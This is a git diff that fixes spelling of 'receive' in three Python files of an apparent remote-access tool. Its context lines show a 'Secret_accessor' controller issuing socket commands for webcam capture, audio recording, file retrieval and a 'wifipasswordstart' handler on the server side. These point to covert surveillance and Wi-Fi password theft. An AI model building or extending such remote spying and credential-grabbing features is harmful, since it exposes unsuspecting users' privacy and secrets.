diff --git a/src/Client_Server.py b/src/Client_Server.py index b362ebb..875e512 100644 --- a/src/Client_Server.py +++ b/src/Client_Server.py @@ -33,11 +33,11 @@ def fun1(): message = soc.recv(1024) message = message.decode() if(message=='sendfile'): - pyautogui.alert( 'YOUR Friend WANTS TO SEND A FILE PRESS OK TO RECIEVE', "ALERT") - with open('recievedfile.zip', 'wb+') as output: + pyautogui.alert( 'YOUR Friend WANTS TO SEND A FILE PRESS OK TO RECEIVE', "ALERT") + with open('receivedfile.zip', 'wb+') as output: rec = soc.recv(9000000) output.write(rec) - pyautogui.alert( "FILE RECIEVED",'ALERT') + pyautogui.alert( "FILE RECEIVED",'ALERT') continue try: chat='Client > '+message+'\n' diff --git a/src/Secret_accessor.py b/src/Secret_accessor.py index 56d0ed9..f0e63d0 100644 --- a/src/Secret_accessor.py +++ b/src/Secret_accessor.py @@ -19,7 +19,7 @@ def popup2(a): exit() soc.send(bytes(message,'UTF-8')) if (message == 'webcam'): - message = input("press s to recieve the image(press after 6 seconds for best quality): ") + message = input("press s to receive the image(press after 6 seconds for best quality): ") soc.send(bytes(message,'UTF-8')) if (message == 'audio'): message = input("ENTER NUMBER OF SECONDS: ") @@ -29,7 +29,7 @@ def popup2(a): with open('file.zip', 'wb+') as output: rec = soc.recv(9000000) output.write(rec) - popup2("FILE RECIEVED") + popup2("FILE RECEIVED") soc.close() diff --git a/src/Setup_Server.py b/src/Setup_Server.py index b7e292e..79199f6 100644 --- a/src/Setup_Server.py +++ b/src/Setup_Server.py @@ -52,11 +52,11 @@ def fun1(): message = message.decode() message=str(message) if(message=='sendfile'): - pyautogui.alert('YOUR BUDDY WANTS TO SEND A FILE PRESS OK TO RECIEVE', "ALERT") - with open('recievedfile.zip', 'wb+') as output: + pyautogui.alert('YOUR BUDDY WANTS TO SEND A FILE PRESS OK TO RECEIVE', "ALERT") + with open('receivedfile.zip', 'wb+') as output: rec = connection.recv(9000000) output.write(rec) - pyautogui.alert('FILE RECIEVED','ALERT') + pyautogui.alert('FILE RECEIVED','ALERT') continue meslist=message.split() if(message=='wifipasswordstart'+'\n'):